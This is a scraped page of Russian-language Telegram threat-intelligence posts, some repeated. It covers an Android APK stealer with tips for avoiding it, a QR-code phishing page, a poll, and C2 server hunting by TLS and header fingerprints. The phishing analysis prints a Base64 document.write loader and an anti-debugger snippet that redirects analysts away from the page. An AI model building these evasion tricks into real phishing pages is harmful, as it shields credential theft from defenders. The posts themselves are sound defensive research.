и т. п.При установке на телефон — запрашивает разрешение на установку в качестве приложения для СМС по умолчанию. При закрытии скрывает от пользователя свое присутствие в системе, убирая значок из меню на главном экране. При этом в фоновом режиме собирает информацию об установленных приложениях, о сим-картах, СМС-сообщениях, вызовах, а также другие пользовательские данные и отправляет их на управляющий сервер.
Неизвестный отправляет вам в мессенджере файл с расширением .apk и спрашивает, не вы ли изображены на фото или видео. Иногда требует срочно открыть архив с документами, который представляет собой .apk-файл.
Вирус также может попасть на устройство:
• через фишинговые сайты;
• через QR-коды для вступления в закрытые группы, каналы и т. п.;
• под видом легитимных приложений (.apk-файлы не с официальных магазинов);
• при наличии физического доступа у злоумышленника.
🔐 Как не попасться
• не переходите по ссылкам из сообщений, не посмотрев, куда они ведут;
• не вводите данные учетной записи на подозрительных ресурсах;
• избегайте сканирования QR-кодов в общественных местах (они могут вести на фишинговые сайты);
• не открывайте файлы из недоверенных источников.
💡 Помните, что APK (Android Package Kit) — это формат, используемый в контексте приложений, но никак не для фото- и видеофайлов.
🎁 Бонус: опубликовали IoCs за 2025 год в Telegraph.
#news #tips #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Двигайся, как вода. Замирай, как зеркало. Отвечай, как эхо... 🪞
В этом посте расскажем об одном обнаруженном экземпляре фишинговой страницы. Он примечателен тем, что в нем используются приемы противодействия автоматизированному и ручному анализу, а в коде содержатся пасхалки.
Достав смартфон и перейдя по ссылке. Атака начинается с фишингового письма, в котором URL-ссылка помещена в виде QR-кода (видно на скриншоте). При переходе по ссылке происходит выполнение JavaScript-кода, который запускает проверку фиктивных условий и загружает другой HTML-код через запуск
Содержимое HTML-кода раскодируется через комбинацию запусков функций
🧐 Интересной находкой в подгруженной HTML-странице оказалось наличие нижеприведенной функции. При анализе JavaScript-кода в интерпретаторе или через инструменты разработчика в браузере функция вызывает запуск дебаггера и приостанавливает выполнение кода; при этом его запуск не осуществляется при обычной загрузке веб-страницы в браузере.
Таким образом, обернув запуск дебаггера в два performance-метода и посчитав время выполнения этого участка кода, функция принимает решение о перенаправлении на легитимную страницу, если данное время превысило 100 миллисекунд — такой вот встроенный антидебаггер в фишинговой странице от ручного анализа кода страницы.
От непосредственной формы сбора паролей нас отделил только запуск Cloudflare Turnstile — частый гость на фишинговых страницах для противодействия получения контента автоматизированными средствами наподобие веб-краулеров.
Советы 🧞
• При исследовании кода фишинговых страниц можно обнаружить разные техники противодействия ручному и автоматизированному анализу. Даже если инструменты или средства защиты не могут обходить эти техники, упрощение правил обнаружения может помочь защитить пользователей от угроз.
• Фраза, найденная в начале кода фишинговой страницы, — «The successful warrior is the average man, with laser-like focus © Брюс Ли» — должна напомнить всем исследователям о важности упорства и концентрации в борьбе с фишинговыми угрозами и в получении нового знания.
#TI #phishing #tips
@ptescalator
В этом посте расскажем об одном обнаруженном экземпляре фишинговой страницы. Он примечателен тем, что в нем используются приемы противодействия автоматизированному и ручному анализу, а в коде содержатся пасхалки.
document.write()
. Содержимое HTML-кода раскодируется через комбинацию запусков функций
atob
(Base64-декодирование), escape
(кодирование символов в HTML-сущности) и decodeURIComponent
(декодирование из percent-кодирования). О подобной технике, когда для подгрузки страницы используется комбинация (де)кодирований, мы уже рассказывали в одном из предыдущих постов.document.write(decodeURIComponent(unescape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxt...
🧐 Интересной находкой в подгруженной HTML-странице оказалось наличие нижеприведенной функции. При анализе JavaScript-кода в интерпретаторе или через инструменты разработчика в браузере функция вызывает запуск дебаггера и приостанавливает выполнение кода; при этом его запуск не осуществляется при обычной загрузке веб-страницы в браузере.
Таким образом, обернув запуск дебаггера в два performance-метода и посчитав время выполнения этого участка кода, функция принимает решение о перенаправлении на легитимную страницу, если данное время превысило 100 миллисекунд — такой вот встроенный антидебаггер в фишинговой странице от ручного анализа кода страницы.
(function zjXTcdfpRH() {
let TUUFRqHXUc = false;
const lPOfbBRoMU = 100;
setInterval(function() {
const nzBpzARgyq = performance.now();
debugger;
const Mhaorlnpom = performance.now();
if (Mhaorlnpom - nzBpzARgyq > lPOfbBRoMU && !TUUFRqHXUc) {
TIxhHrwbpI = true;
TUUFRqHXUc = true;
window.location.replace('https://www.walmart.com');
}
}, 100);
})();
От непосредственной формы сбора паролей нас отделил только запуск Cloudflare Turnstile — частый гость на фишинговых страницах для противодействия получения контента автоматизированными средствами наподобие веб-краулеров.
Советы 🧞
• При исследовании кода фишинговых страниц можно обнаружить разные техники противодействия ручному и автоматизированному анализу. Даже если инструменты или средства защиты не могут обходить эти техники, упрощение правил обнаружения может помочь защитить пользователей от угроз.
• Фраза, найденная в начале кода фишинговой страницы, — «The successful warrior is the average man, with laser-like focus © Брюс Ли» — должна напомнить всем исследователям о важности упорства и концентрации в борьбе с фишинговыми угрозами и в получении нового знания.
#TI #phishing #tips
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
А что празднуете сегодня вы? 🎉
Anonymous Poll
11%
День компьютерщика 💻
12%
День святого Валентина 💘
4%
День курабье 🍪
2%
День влюбленных в библиотеку 📖
1%
День музыки на валлийском языке ✌️
25%
День окончания рабочей недели 🙃
5%
День накатывания последних секурити патчей 🩹
5%
День борьбы со страхом перед деплоем на прод 😦
16%
День как день 🤷♀️
19%
А какой сегодня день? 😲
C2 hunting: часть 2. Ищем серверы хакеров по внешним признакам 😁
В предыдущей части мы с вами поговорили о том, как расширить знание об инфраструктуре хакеров, используя PDNS и Whois.
Сегодня обсудим, как искать серверы хакеров не только когда они уже начали использовать свою инфраструктуру в атаках, но и в момент ее развертывания.
Перед самой атакой хакеры, как правило, занимаются подготовкой инструментария и сетевой инфраструктуры. В моделях угроз этот этап обычно называется weaponization или resource development.
Практически у любого ВПО в том или ином виде есть механизм коммуникации с C2. Сам C2 обладает рядом признаков, которые могут быть получены, если его просканировать или просто обратиться на конкретный порт, например 443. Так мы, скорее всего, получим параметры TLS-сертификата, параметры TLS-соединения, заголовки ответа сервера и содержимое веб-страницы.
Соответственно, разбирая ВПО хакеров и анализируя их сетевую инфраструктуру, мы будем иметь представление об уникальных признаках, которые они используют на своих C2 для конкретного ВПО, что позволит нам в некоторых случаях обнаруживать их C2 в момент развертывания сетевой инфраструктуры для атаки и превентивно блокировать эти индикаторы на СЗИ.
Список наиболее популярных признаков, которые можно использовать для идентификации С2:
✅ Параметры TLS-сертификата
✅ Параметры TLS-соединения (JA3, JA4, JARM и т. д.)
✅ Заголовки ответа от сервера
✅ Контент и title страницы
✅ Набор открытых портов
✅ Favicon
Ограничить поиск всегда можно с помощью указания ASN, хостера или страны.
Список сервисов, которые помогут вам искать С2 таким способом:
✅ Shodan
✅ Censys
✅ FOFA
✅ ZoomEye
✅ BinaryEdge
✅ Netlas
✅ ONYPHE
✅ Самописный сканер
Руками искать по всем сервисам трудозатратно, но все же необходимо, так как каждый сервис может выдать разные результаты. Чтобы снизить затраты на ручной труд, нужна автоматизация. Мы у себя разработали систему SCANDAT, которая имеет внутренний поисковый синтаксис и автоматически генерирует поисковые правила под каждый сервис.
😠 На скриншотах 1–3 вы можете увидеть примеры запросов для обнаружения C2 для ВПО GoRed, которое использует группа ExCobalt.
Кроме того, есть базовое опенсорс-решение для автоматизации запросов.
В конечном итоге все идентифицированные C2 из нашей системы попадают в продукты компании, повышая уровень обнаружения угроз.
💡 Стоит отметить, что некоторые разработчики MaaS стараются противодействовать таким методам обнаружения. Например, с определенной версии Medusa Stealer ее разработчики убрали title, некоторый контент на странице и добавили генерацию случайных данных в TLS-сертификат, чтобы нельзя было идентифицировать панель управления стилером через популярные сервисы.
Вы можете не только собирать такие серверы и отправлять их в фиды для СЗИ, но и писать эмуляторы сетевого протокола ВПО, чтобы со свежего С2 получить пейлоад или какой-либо модуль. Это позволит вам получить дополнительные индикаторы и атрибуционные признаки.
#TI #C2 #tips #hunt #malware
@ptescalator
В предыдущей части мы с вами поговорили о том, как расширить знание об инфраструктуре хакеров, используя PDNS и Whois.
Сегодня обсудим, как искать серверы хакеров не только когда они уже начали использовать свою инфраструктуру в атаках, но и в момент ее развертывания.
Перед самой атакой хакеры, как правило, занимаются подготовкой инструментария и сетевой инфраструктуры. В моделях угроз этот этап обычно называется weaponization или resource development.
Практически у любого ВПО в том или ином виде есть механизм коммуникации с C2. Сам C2 обладает рядом признаков, которые могут быть получены, если его просканировать или просто обратиться на конкретный порт, например 443. Так мы, скорее всего, получим параметры TLS-сертификата, параметры TLS-соединения, заголовки ответа сервера и содержимое веб-страницы.
Соответственно, разбирая ВПО хакеров и анализируя их сетевую инфраструктуру, мы будем иметь представление об уникальных признаках, которые они используют на своих C2 для конкретного ВПО, что позволит нам в некоторых случаях обнаруживать их C2 в момент развертывания сетевой инфраструктуры для атаки и превентивно блокировать эти индикаторы на СЗИ.
Список наиболее популярных признаков, которые можно использовать для идентификации С2:
Ограничить поиск всегда можно с помощью указания ASN, хостера или страны.
Список сервисов, которые помогут вам искать С2 таким способом:
Руками искать по всем сервисам трудозатратно, но все же необходимо, так как каждый сервис может выдать разные результаты. Чтобы снизить затраты на ручной труд, нужна автоматизация. Мы у себя разработали систему SCANDAT, которая имеет внутренний поисковый синтаксис и автоматически генерирует поисковые правила под каждый сервис.
Кроме того, есть базовое опенсорс-решение для автоматизации запросов.
В конечном итоге все идентифицированные C2 из нашей системы попадают в продукты компании, повышая уровень обнаружения угроз.
Вы можете не только собирать такие серверы и отправлять их в фиды для СЗИ, но и писать эмуляторы сетевого протокола ВПО, чтобы со свежего С2 получить пейлоад или какой-либо модуль. Это позволит вам получить дополнительные индикаторы и атрибуционные признаки.
#TI #C2 #tips #hunt #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM